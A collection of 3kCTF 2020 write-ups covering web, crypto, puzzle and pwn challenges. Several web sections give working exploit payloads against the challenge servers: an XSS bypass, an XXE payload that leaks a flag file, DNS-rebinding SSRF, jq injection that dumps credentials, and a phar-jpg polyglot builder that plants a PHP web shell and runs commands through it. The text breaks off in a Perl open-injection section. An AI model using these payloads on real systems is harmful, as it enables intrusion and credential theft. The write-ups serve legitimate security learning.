3kCTF 2020

xsser - 4 solveswwww - 2 solves (Second Blood)sanity check - 483 solves Linker Revenge - 9 Solvesreporter - 4 solves pyzzle2 - 44 solvespyzzle1 - 83 solvesone and a half man - 18 Solvesonce upon a time - 18 solves microscopic - 25 solves Linker - 15 SolveslibcDB - 14 solves image uploader - 5 solves (Second Blood)flood - 11 solves carthagods - 10 solves(First Blood)You shall not get my cookies - 12 solves Passage - 8 solves Game 2 - 41 solves Game 1 - 30 solves

xsser - 4 solves

by sqrtrev

Description:

challenge

Author: Dali

index.php

<?php
include('flag.php');
class User

{
    public $name;
    public $isAdmin;
    public function __construct($nam)
    {
        $this->name = $nam;
        $this->isAdmin=False;
    }
}

ob_start();
if(!(isset($_GET['login']))){
    $use=new User('guest');
    $log=serialize($use);
    header("Location: ?login=$log");
    exit();

}

$new_name=$_GET['new'];
if (isset($new_name)){


  if(stripos($new_name, 'script'))//no xss :p 
                 { 
                    $new_name = htmlentities($new_name);
                 }
        $new_name = substr($new_name, 0, 32);
  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
  echo '<h1>Contact admin /req.php </h1>';

}
 if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
            setcookie("session", $flag, time() + 3600);
        }
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
    echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);

There is ob_start(); on page, and this will make me display nothing with my parameters.

So, we need to break ob_start(). When I searched for this, I found this document, https://dustri.org/b/intended-solutions-for-35c3ctf-2018-web-php.html

So, the payload for breaking ob_start() will be O:4:"User":2:{s:4:"name";O:9:"Throwable":0:{};s:7:"isAdmin";b:0;}

http://xsser.3k.ctf.to/?login=O:4:%22User%22:2:%7Bs:4:%22name%22;O:9:%22Throwable%22:0:%7B%7D;s:7:%22isAdmin%22;b:0;%7D

Yeah It takes 500 Internal Error.

http://xsser.3k.ctf.to/?login=O:4:%22User%22:2:%7Bs:4:%22name%22;O:9:%22Throwable%22:0:%7B%7D;s:7:%22isAdmin%22;b:0;%7D&new=asd

Now, we can write something what we want on page. This one will occur XSS.

And we can bypass the length limit like <img src=x onerror=eval(name) />.

I'll code my server for open() and set window.name as payload.

After send this to bot, I can get flag.

3k{3asy_XsS_&_pHp_Ftw}

wwww - 2 solves (Second Blood)

by sqrtrev

Description:

Developing a complete application in 3 days was difficult for me, so I just installed the necessary configuration and files.

Do you think i still need to update my app?
"prove it :)"

challenge

* sort of bounty alike challenge

Author: TnMch, Dali

If you see the page, we will get this js code.

var _0x12f0=['C2v0uMvXDwvZDeHLywrLCG==','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','B3bLBG==','pd94BwWGDMvYC2LVBJ0Ims4WiIbLBMnVzgLUzZ0IvvrgltGIpZ4=','pgvTywLSpG==','DMfSDwu=','C2XPy2u=','phn1yNnJCMLIzt4=','q29UDgvUDc10ExbL','BgvUz3rO','zw1HAwW=','Afn1DxP1s2rRDKPLv2DQvW==','yxbPlNbOCa==','y2HHCKnVzgvbDa==','zNjVBunOyxjdB2rL','ue9tva==','pc9LBwfPBd4=','Eg1Spq==','pc9ZDwjZy3jPyMu+','BwfW','y2fSBa==','C2vUza==','AM9PBG==','z2v0rwXLBwvUDej5swq=','ChjVDg90ExbL'];(function(_0x2dce72,_0x12f09f){var _0x57c8e1=function(_0x25546b){while(--_0x25546b){_0x2dce72['push'](_0x2dce72['shift']());}};_0x57c8e1(++_0x12f09f);}(_0x12f0,0x124));var _0x57c8=function(_0x2dce72,_0x12f09f){_0x2dce72=_0x2dce72-0x0;var _0x57c8e1=_0x12f0[_0x2dce72];if(_0x57c8['fGHYAk']===undefined){var _0x25546b=function(_0x29e09c){var _0x470e4d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x393484=String(_0x29e09c)['replace'](/=+$/,'');var _0x4c9b99='';for(var _0x8636d7=0x0,_0x2cb8aa,_0x101f8d,_0xcd4247=0x0;_0x101f8d=_0x393484['charAt'](_0xcd4247++);~_0x101f8d&&(_0x2cb8aa=_0x8636d7%0x4?_0x2cb8aa*0x40+_0x101f8d:_0x101f8d,_0x8636d7++%0x4)?_0x4c9b99+=String['fromCharCode'](0xff&_0x2cb8aa>>(-0x2*_0x8636d7&0x6)):0x0){_0x101f8d=_0x470e4d['indexOf'](_0x101f8d);}return _0x4c9b99;};_0x57c8['bsjqpU']=function(_0x2d613b){var _0xc62bd=_0x25546b(_0x2d613b);var _0x748971=[];for(var _0x33ccac=0x0,_0x4e0fbd=_0xc62bd['length'];_0x33ccac<_0x4e0fbd;_0x33ccac++){_0x748971+='%'+('00'+_0xc62bd['charCodeAt'](_0x33ccac)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x748971);},_0x57c8['lPaZPW']={},_0x57c8['fGHYAk']=!![];}var _0x1a3709=_0x57c8['lPaZPW'][_0x2dce72];_0x1a3709===undefined?(_0x57c8e1=_0x57c8['bsjqpU'](_0x57c8e1),_0x57c8['lPaZPW'][_0x2dce72]=_0x57c8e1):_0x57c8e1=_0x1a3709;return _0x57c8e1;};function _0x42d338(_0xad840f,_0x2baeca){var _0x129300=_0xad840f[_0x57c8('0x11')];return Array[_0x57c8('0x7')][_0x57c8('0xe')][_0x57c8('0x3')](_0x2baeca)[_0x57c8('0x2')](function(_0x2fd7c5,_0x5adecd){return String[_0x57c8('0x16')](_0x2fd7c5[_0x57c8('0x15')](0x0)^_0xad840f[_0x5adecd%_0x129300][_0x57c8('0x15')](0x0));})[_0x57c8('0x5')]('');}function _0x2a1b34(){email=document[_0x57c8('0x6')](_0x57c8('0x12'))[_0x57c8('0xd')];var _0x3fd6ce=''+_0x57c8('0xb')+_0x57c8('0xf')+_0x57c8('0xc')+email+_0x57c8('0x18')+_0x57c8('0x1');_0x3fd6ce=btoa(_0x42d338(_0x57c8('0x13'),_0x3fd6ce));var _0x31c176=new XMLHttpRequest();_0x31c176[_0x57c8('0xa')](_0x57c8('0x17'),_0x57c8('0x14'),!![]);_0x31c176[_0x57c8('0x8')](_0x57c8('0x10'),_0x57c8('0x9'));var _0x39826c=_0x57c8('0x0')+escape(_0x3fd6ce);_0x31c176[_0x57c8('0x4')](_0x39826c);return'';}

And If we deobfuscate the code, we will get this.

function xor(key, value) {
    var keyLen = key.length;
    return Array.prototype.slice.call(value).map(function(char, idx) {
        return String.fromCharCode(char.charCodeAt(0) ^ key[idx % keyLen].charCodeAt(0));
    }).join('');
}
function signup() {
    email = "sqrtrev@gmail.com";
    var xml = `<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://php.vuln.live/"> ]><subscribe><email>` + email + `</email><sqrtrev>&xxe;</sqrtrev></subscribe>`;
    xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
    var xmlRequest = new XMLHttpRequest();
    xmlRequest.open("POST", "api.php", true);
    xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    var body = "xml=" + escape(xml);
    xmlRequest.send(body);
    return '';
}

Now, It looks like a kind of XXE.

But If you try XXE to external address, You will get errors. It works only with localhost.

While researching some skill, my teammates got /db directory.

At the last of /db, there is define.php located.

Let's see http://wwwweb.3k.ctf.to/define.php

we got

{"msg":"sid={sid_id_given}}","read":"\/define.php?sid={sid_id_given}","write":"\/define.php?sid={sid_id_given}&key=test&value=test"}

And after some tries, I realize we can read, write what we want on this page with sid

It's easy now. We can chain the xxe to http://localhost/define.php?sid=sid&key=asd&value= for leaking file contents.

The final payload is below

function signup() {
    var xml = `<!DOCTYPE r [\r\n  <!ELEMENT r ANY >\r\n  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL2ZsYWciPjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly9sb2NhbGhvc3QvZGVmaW5lLnBocD9zaWQ9TmdwNlR0WnpyMnZKT0FvOHlRTUxHMGU1eFdhYlNxVUMmIzM4O2tleT14eGUmIzM4O3ZhbHVlPSVkYXRhOyI+Jz4="> %sp; %param1;\r\n]>\r\n<subscribe><email>&exfil;</email></subscribe>`;
    xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
    var xmlRequest = new XMLHttpRequest();
    xmlRequest.open("POST", "api.php", true);
    xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    var body = "xml=" + escape(xml);
    xmlRequest.send(body);
    return '';
}

After this, we can read flag in define.php

3k{cL457rBpVxsJnRXNR9vW6uR4hbKszeFs}

reporter - 4 solves

by adragos

Very nice web challenge which involves DNS rebinding and LFD (at first I thought it was about XSS as the input is vulnerable to script injection). We start by looking at the source code provided.

We can see this snippet in backend.php:

if(@$_POST['deliver']){
	$thisDoc=file_get_contents($dir.'/file.html');
	$images = preg_match_all("/<img src=\"(.*?)\" /", $thisDoc, $matches);
	foreach ($matches[1] as $key => $value) {
		$thisDoc = str_replace($value , "data:image/png;base64,".base64_encode(fetch_remote_file($value)) , $thisDoc ) ;
	}

The server is "preloading" the images by downloading the contents and base64 encoding and putting it in the img tag. Let's take a closer look at the fetch_remote_file function:

function fetch_remote_file($url) {
    $config['disallowed_remote_hosts'] = array('localhost');
    $config['disallowed_remote_addresses'] = array("0.0.0.0/8", "10.0.0.0/8", "100.64.0.0/10", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/29", "192.0.2.0/24", "192.88.99.0/24", "192.168.0.0/16", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "224.0.0.0/4", "240.0.0.0/4",);
    $url_components = @parse_url($url);
    if (!isset($url_components['scheme'])) {
        return false;
    }
    if (@($url_components['port'])) {
        return false;
    }
    if (!$url_components) {
        return false;
    }
    if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {
        return false;
    }
    if (array_key_exists("user", $url_components) || array_key_exists("pass", $url_components)) {
        return false;
    }
    if ((!empty($config['disallowed_remote_hosts']) && in_array($url_components['host'], $config['disallowed_remote_hosts']))) {
        return false;
    }
    $addresses = get_ip_by_hostname($url_components['host']);
    $destination_address = $addresses[0];
    if (!empty($config['disallowed_remote_addresses'])) {
        foreach ($config['disallowed_remote_addresses'] as $disallowed_address) {
            $ip_range = fetch_ip_range($disallowed_address);
            $packed_address = my_inet_pton($destination_address);
            if (is_array($ip_range)) {
                if (strcmp($ip_range[0], $packed_address) <= 0 && strcmp($ip_range[1], $packed_address) >= 0) {
                    return false;
                }
            } elseif ($destination_address == $disallowed_address) {
                return false;
            }
        }
    }
    $opts = array('http' => array('follow_location' => 0,));
    $context = stream_context_create($opts);
    return file_get_contents($url, false, $context);
}

Basically, it checks that the url is a valid http/https URL, then checks the host to not be localhost or in any private ip range and then gets the file using file_get_contents.

By using a custom DNS server, we can have it first serve the normal IP (in this case 18.184.155.211, the ip of requestrepo.com) and on the next DNS request (when the script does file_get_contents) it will return 127.0.0.1

I'll first setup the DNS rebinding on https://requestrepo.com

image-20200727203515052

5 subdomains should be enough for consistency in response

To trigger the replace, we need to intercept the requests and change the filecontent, not the mdcontent to our payload, like so:

image-20200727203839959

A successful response should look like this:

image-20200727204234531

We can see the base64 encoded content! Decoding it we get:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /secret_report</title>
 </head>
 <body>
<h1>Index of /secret_report</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="3ac45ca05705d39ed27d7baa8b70ecd560b69902.php">3ac45ca05705d39ed27d7baa8b70ecd560b69902</a></td><td align="right">2020-07-23 12:53  </td><td align="right"> 50 </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="63b4bacc828939706ea2a84822a4505efa73ee3e.php">63b4bacc828939706ea2a84822a4505efa73ee3e.php</a></td><td align="right">2020-07-13 13:24  </td><td align="right"> 14 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
</body></html>

We can see that it's a directory and that directory listing is active

We then we can try to include check 63b4bacc828939706ea2a84822a4505efa73ee3e.php and 3ac45ca05705d39ed27d7baa8b70ecd560b69902.php from the web, but they don't contain the flag.

We can see that 63b4bacc828939706ea2a84822a4505efa73ee3e.php is only 14 bytes long and also its output is 14 bytes long so it's a red herring (not the flag)

3ac45ca05705d39ed27d7baa8b70ecd560b69902.php on the other hand has 50 bytes but only ~ 9 bytes of output. So we need to read the php code without executing it. Looking back at the fetch_remote_file I spotted the following if:

if ((!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https')))) {

But what does empty do? From the PHP Manual we read that empty

Returns FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.

The following values are considered to be empty:

"" (an empty string)
0 (0 as an integer)
0.0 (0 as a float)
"0" (0 as a string)
NULL
FALSE
array() (an empty array)

So if the scheme is "0", the AND will result in false and the second check won't be made. We can then treat

0:// as a directory and then just .. out of it.

The final payload becomes: mdcontent=doesn't matter&filecontent=<img src="0://index.php/../../secret_report/3ac45ca05705d39ed27d7baa8b70ecd560b69902.php" />

Checking the report we get the base64 encoded php file:

image-20200727205049448

Which decoded is:

<?php

//3k{ssrf_bug_f068b29b58ccd0}

?>

secret2

The flag is:

3k{ssrf_bug_f068b29b58ccd0}

pyzzle2 - 44 solves

by tcode2k16

Description:

A puzzle be a game, problem, or toy dat tests a personz ingenuity or knowledge. In a puzzle, tha solver is sposed ta fuckin put pieces together up in a logical way, up in order ta arrive all up in tha erect or funk solution of tha puzzle.

challenge


2nd flag : change it from 3K-text to 3k{text}

Continuing from where we left off, we need a way to visualize the STP file.

The file itself is quite readable. It consists of three sections Comment, Graph, and Coordinates. The Coordinates describes points and the Graph tells us how to connect these points.

The line DD 144 1845 105 likely means to define a point with the id of 144 and the xy coordinate of (1845, 105)

While a line like E 29 30 1 tells us to draw a line between the point with id 29 and the point with id 30

I hacked together a python script using PIL to draw out the image:

from PIL import Image, ImageDraw


img = Image.new( 'RGB', (2000,200),color=(0,0,0))
draw = ImageDraw.Draw(img)

pixels = img.load()

edges = ['1 2','2 3','3 5','4 5','6 8','7 8','8 9','8 10','11 12','13 14','13 15','15 16','14 16','15 17','18 20','19 20','20 21','22 23','23 24','24 25','25 26','27 28','28 29','29 30','30 31','32 33','33 34','34 35','36 37','36 38','38 39','38 40','40 41','42 43','44 45','44 46','46 47','46 48','49 50','49 51','50 52','51 53','53 54','52 54','55 56','57 58','57 59','59 60','61 62','60 62','63 65','64 66','65 66','65 67','66 68','69 70','70 71','70 72','72 74','73 74','74 75','76 77','77 78','78 79','79 80','81 82','82 83','83 84','84 85','86 87','87 88','88 89','90 91','90 92','92 93','92 94','94 95','96 97','98 101','99 101','98 100','99 102','100 103','102 104','105 107','106 107','107 108','109 110','111 113','111 114','112 115','113 116','114 117','115 117','118 119','119 120','119 121','121 123','122 123','123 124','125 126','126 127','127 128','128 129','130 131','131 132','132 133','133 134','135 136','136 137','137 138','139 140','139 141','141 142','141 143','143 144']
edges = map(lambda x: map(int, x.split(' ')), edges)

print edges

points = ['1 5 5','2 55 5','3 5 55','4 5 105','5 55 105','6 65 5','7 115 5','8 65 55','9 65 105','10 115 105','11 125 55','12 175 55','13 185 5','14 235 5','15 185 55','16 235 55','17 185 105','18 245 5','19 295 5','20 270 55','21 270 105','22 355 5','23 405 5','24 380 55','25 355 105','26 405 105','27 415 5','28 465 5','29 440 55','30 415 105','31 455 105','32 475 5','33 475 55','34 475 105','35 525 105','36 535 5','37 585 5','38 535 55','39 585 55','40 535 105','41 585 105','42 595 105','43 645 105','44 655 5','45 705 5','46 655 55','47 705 55','48 655 105','49 715 5','50 765 5','51 715 55','52 765 55','53 715 105','54 765 105','55 775 105','56 825 105','57 835 5','58 885 5','59 835 55','60 885 55','61 835 105','62 885 105','63 895 5','64 945 5','65 895 55','66 945 55','67 895 105','68 945 105','69 955 5','70 980 5','71 1005 5','72 980 55','73 955 105','74 980 105','75 1005 105','76 1015 5','77 1065 5','78 1040 55','79 1015 105','80 1065 105','81 1075 5','82 1125 5','83 1100 55','84 1075 105','85 1125 105','86 1135 5 ','87 1135 55','88 1135 105','89 1185 105','90 1195 5','91 1245 5','92 1195 55','93 1245 55','94 1195 105','95 1245 105','96 1255 105','97 1305 105','98 1315 5','99 1365 5','100 1315 55','101 1340 55','102 1365 55','103 1315 55','104 1365 105','105 1375 5','106 1425 5','107 1400 55','108 1400 105','109 1435 105','110 1485 105','111 1495 5','112 1545 5','113 1495 5','114 1520 55','115 1545 55','116 1495 105','117 1545 105','118 1555 105','119 1580 5','120 1605 5','121 1580 55','122 1555 105','123 1580 105','124 1605 105','125 1615 5','126 1665 5','127 1640 5','128 1615 105','129 1665 105','130 1675 5','131 1725 5','132 1700 55','133 1675 105','134 1725 105','135 1735 5','136 1735 55','137 1735 105','138 1785 105','139 1795 5','140 1845 5','141 1795 55','142 1845 55','143 1795 105','144 1845 105']
points = map(lambda x: map(int, x.strip().split(' '))[1:], points)
print points

for each in edges:
  a,b = each
  p1 = points[a-1]
  p2 = points[b-1]
  draw.line([tuple(p1), tuple(p2)])

img.save('test.png')

This script is good enough to get us the second flag:

flag: 3k{PYZZLE_FO_SHIZZLE_MY_NIZZLE}

pyzzle1 - 83 solves

by tcode2k16

Description:

A puzzle be a game, problem, or toy dat tests a personz ingenuity or knowledge. In a puzzle, tha solver is sposed ta fuckin put pieces together up in a logical way, up in order ta arrive all up in tha erect or funk solution of tha puzzle.

challenge


2nd flag : change it from 3K-text to 3k{text}

By taking a look at the file and searching up some of the key terms like SimpleStatementLine, we quickly realize that the given file is a LibCST concrete syntax tree.

Some documentation reading reveals that by accessing .code on a syntax tree object, we can recover its source code.

Using this knowledge, I tweaked the file a bit:

from libcst import *
abc = Module(
  ...
)
print(abc.code)

Running this edited file gives us the source code:

import binascii

plaintext = "REDACTED"

def exor(a, b):
    temp = ""
    for i in range(n):
        if (a[i] == b[i]):
            temp += "0"
        else:
            temp += "1"
    return temp


def BinaryToDecimal(binary):
    string = int(binary, 2)
    return string

# encryption
PT_Ascii = [ord(x) for x in plaintext]

PT_Bin = [format(y, '08b') for y in PT_Ascii]
PT_Bin = "".join(PT_Bin)

n = 26936
K1 = '...'
K2 = '...'

L1 = PT_Bin[0:n]
R1 = PT_Bin[n::]

f1 = exor(R1, K1)
R2 = exor(f1, L1)
L2 = R1

f2 = exor(R2, K2)
R3 = exor(f2, L2)
L3 = R2

R3 = '...'
L3 = '...'
cipher = L3+R3

# decryption (redacted)
plaintext = L6+R6
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
print(plaintext)

We can see that some xor operations have been performed on the original plaintext. We can walk backward and undo all those changes:

R2 = L3
L2 = exor(exor(R3, R2), K2)

R1 = L2
L1 = exor(exor(K1, R1), R2)

plaintext = L1+R1
plaintext = int(plaintext, 2)
plaintext = binascii.unhexlify('%x' % plaintext)
plaintext = binascii.unhexlify(plaintext)
print(plaintext)

This yields the original file which contains our first flag:

33D32945 STP File, STP Format Version 1.0
SECTION Comment
Name "3k{almost_done_shizzle_up_my_nizzle}"
END

SECTION Graph
Nodes 144
Edges 116
E 1 2 1
...
END

SECTION Coordinates
DD 1 5 5
...
END

EOF

flag: 3k{almost_done_shizzle_up_my_nizzle}

once upon a time - 18 solves

by adragos

We are given a C project with a Makefile to compile the binary, but we are also given the compiled binary (that's going to be useful later).

Checking the code we can see how the cipher works

for(i=0; i<lSize; i++){
        get_next_byte(l_17, byte_17);
        get_next_byte(l_25, byte_25);
        sum_bytes(byte_17, byte_25, carry, sumArray, &carry);
        bit_array_to_unsigned_char(sumArray, &temp_keystream);
        memcpy(&temp_plaintext, buffer+i, sizeof(unsigned char));
        switch (_mode) {
          case ECB:
              temp_ciphertext = temp_keystream ^ temp_plaintext;
              break;
          case CBC:
              temp_plaintext ^= initialization_vector;
              temp_ciphertext = temp_keystream ^ temp_plaintext;
              initialization_vector = temp_ciphertext;
              break;
          case OFB:
              temp_ciphertext = temp_keystream ^ initialization_vector;
              initialization_vector = temp_ciphertext;
              temp_ciphertext ^= temp_plaintext;
              break;
          case CFB:
              temp_ciphertext = temp_keystream ^ initialization_vector;
              temp_ciphertext ^= temp_plaintext;
              initialization_vector = temp_ciphertext;
              break;
        }
        //Output the ciphertext to the File
        if(fwrite (&temp_ciphertext , sizeof(unsigned char), 1, oFile) < 1){
            fprintf(stderr, "Error Writing (%c) at index.(%d) to Output File <%s>, Aborting.\n", temp_ciphertext, i, outfile);
            return -5;
        }
    }

temp_plaintext is one char of the plaintext, we can see that the encryption is done 1 byte at a time with no other transformations. That means that this cipher is equivalent to a stream cipher (where the stream bytes are directly xored with the bytes of the plaintext), by recovering the stream with a known plaintext attack, we can decrypt the flag.

We can also spot this comment inside the main.c file

//Some random 40-bit Key
// TODO: redact key

BYTE key[40] = {0};


//some i.v.
unsigned char initialization_vector = 0xa2;

We can see that the original key was wiped out. But we have a compiled binary in the archive, maybe that still holds the original key? I wasn't bothered with actually reversing the binary, just encrypted a file containing null bytes of equal length with flag_encrypted file length and then just xored the two encrypted files to get the flag. I chose CBC as it is the most common mode used and by xoring the two files I got the flag:

3k{my_hands_are_registered_as_lethal_weapons_that_means_we_get_into_a_fight_i_accidentally_kill_you_i_go_to_jail}

libcDB - 14 solves

by QSharp

Description:

pwning challenges without given libc can be a hussle
i made a libcDB as a service that can help resolve the libc version by symbols and their addresses
i havn't added all libc's yet, but thats enough to test it out

nc libcdb.3k.ctf.to 7777

* test account { Dead:pool }

When connecting to the provided address, we are given a login prompt and we can enter the credentials from the description resulting in the following prompt:

Authenticated {"users":{"username":"Dead","password":"pool"}}

 __    _ _       ____  _____
|  |  |_| |_ ___|    \| __  |
|  |__| | . |  _|  |  | __ -|
|_____|_|___|___|____/|_____|
                         as a service


Type .help for help



>

Notice the JSON at the beginning, I tried adding my own JSON, but it only allowed alphanumeric login and password.

.help gives us a few options to choose from:

.help                   Print this help
.version                Print versions
.search                 Search libcdb
.secret                 Print flag

Sadly, we cannot get the flag instantly by just executing the .secret command. And instead returns:

not admin
no flag for u

The .version command gives us some information about what libc's are added to the database:

"ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64"
"ubuntu_libc6-dbg_2.4-1ubuntu12_amd64"
"ubuntu_libc6-i386_2.10.1-0ubuntu15_amd64"

The last feature, .search is more of interest and has the following pattern: .search <*symbol> <*addr> <filter>.<br> An example search is .search fprintf 0x4b970 which gives us some nice information about the fprintf function:

> .search fprintf 0x4b970
Found:
        id              6acfaae0398dce58e1857599a274f6d8
        name            ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64
        symbol          fprintf
        address         0x4b970
Found:
        id              fc1e12693e5762252bc44256d5a72506
        name            ubuntu_libc6-dbg_2.4-1ubuntu12_amd64
        symbol          fprintf
        address         0x4b970

However, there is another paramater: <filter> and when adding a non-alphanumeric character we get an error:

> .search fprintf 0x4b970 "
jq: error: syntax error, unexpected $end, expecting QQSTRING_TEXT or QQSTRING_INTERP_START or QQSTRING_END (Unix shell quoting issues?) at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ."
jq: error: try .["field"] instead of .field for unusually named fields at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309616")) | ."
jq: 2 compile errors

This gives us some more information about the application and that it uses jq, additionaly we get the complete query. <br> After reading a bit about jq we can construct our own query.<br> By just guessing that the object where the users are stored are in the same $maindb (Thanks to the JSON we got when logging in), we can create a query like this: ,{name:.[]|$maindb.users|tostring} and leak the complete users db.<br> (Additionally, we could leak the complete db with ,{name:.[]|$maindb|tostring}, but it's huge).<br> Final Payload: .search fprintf 0x4b970 ,{name:.[]|$maindb.users|tostring}. Resulting into the users object:

[
    {
        "username": "3k",
        "password": "notaflag"
    },
    {
        "username": "James",
        "password": "Hetfield"
    },
    {
        "username": "Lars",
        "password": "Ulrich"
    },
    {
        "username": "Dead",
        "password": "pool"
    },
    {
        "username": "admin",
        "password": "v3ryL0ngPwC4nTgu3SS0xfff"
    },
    {
        "username": "jim",
        "password": "carrey"
    }
]

And so logging in with admin:v3ryL0ngPwC4nTgu3SS0xfff<br> we get the flag by the .secret command: 3k{jq_is_r3ally_HelpFULL_3af4bcd97f5}

image uploader - 5 solves (Second Blood)

by sqrtrev

Description:

challenge
source

Author: dali

Code review:

index.php		- we can get image via file_get_contents function(Even, php:// is not banned)

old.php			- there are two classes cl1, cl2

upload.php		- check is this real image file with getimagesize and upload.

The trigger:

index.php		- I can read .phar file like this php://filter/read/resource=phar://

old.php			- If I can use this classes, I can inject a data what I want(Arbitray Code Execution)

upload.php		- Just upload a jpg phar image. I'll use https://github.com/kunte0/phar-jpg-polyglot

Analysis of old.php:

class c1 		- File management using class c2
How to use:
	$c1 = new cl1((new cl2), filename, expire)
Also, __desturct calls $this->save(); We can use for PHP Object Injection

class c2		- File store
the filename will be $this->options['prefix'].$filename because of $this->getCacheKey()
$data contains exit(); So, we need to bypass this one.

Exploit:

$cl1->complete variable is send to cl2->set. So, I'll use $this->complete for inserting payload.

$c1->autosave have to be false for do $this->save on __destruct()

$cl2->options['prefix'] have to be "php://filter/write=convert.base64-decode/resource="
Because we need to bypass exit(). So, I'll decode the contents of $data as base64.
$cl2->options['serialize'] will be 'serialize' because of below reason

$data = $this->serialize($value);
=>
protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }
$this->serialize() is $this->options['serialize']();

Generating Phar jpg:

<?php
  
function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed 
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

include "../image_uploader/html/old.php";

// pop exploit class
$cl2 = new cl2;
$cl1 = new cl1($cl2, "sqrtrev.php", null);

$cl1->cache = ["asd"];
$cl1->complete = "APD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="; //First A is for padding
$cl1->autosave = false;

$cl2->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$cl2->options['data_compress'] = false;
$cl2->options['serialize'] = 'serialize';

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $cl1;
$prefix = '';
var_dump(serialize($cl1));
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

In my case, the filename was 442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg.

So I accessed http://imageuploader.3k.ctf.to:8081/?img=php://filter/read/resource=phar://442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg/asd

And there will be up/sqrtrev.php.

[http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls%20/](http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls /)

bin boot dev etc home lib lib64 media mnt opt proc qUHwHtel41OiCDotoenbwdF5IgmWQ5_README root run sbin srv sys tmp usr var

[http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat%20/qUHwHtel41OiCDotoenbwdF5IgmWQ5_README](http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat /qUHwHtel41OiCDotoenbwdF5IgmWQ5_README)

3k{phar_D3seriaLizati0N_2_Rce_:o}

flood - 11 solves

by adragos

The given script is vulnerable to open RCE (more info here https://stackoverflow.com/questions/26614348/perl-open-injection-prevention)

elsif($uInput eq "5"){
		if($gold<=$goldrequired){
			print "! no";
		}else{
			print "LOAD GAME SAVE...\n";
			open (SAVEGAME, "/app/files/".$name) or break;
			while ($line = <SAVEGAME>) {
				chomp $line;
			    $gold = $line ;
			    close(SAVEGAME);
			    print "SAVE LOADED\n";
			    break;
			}
		}

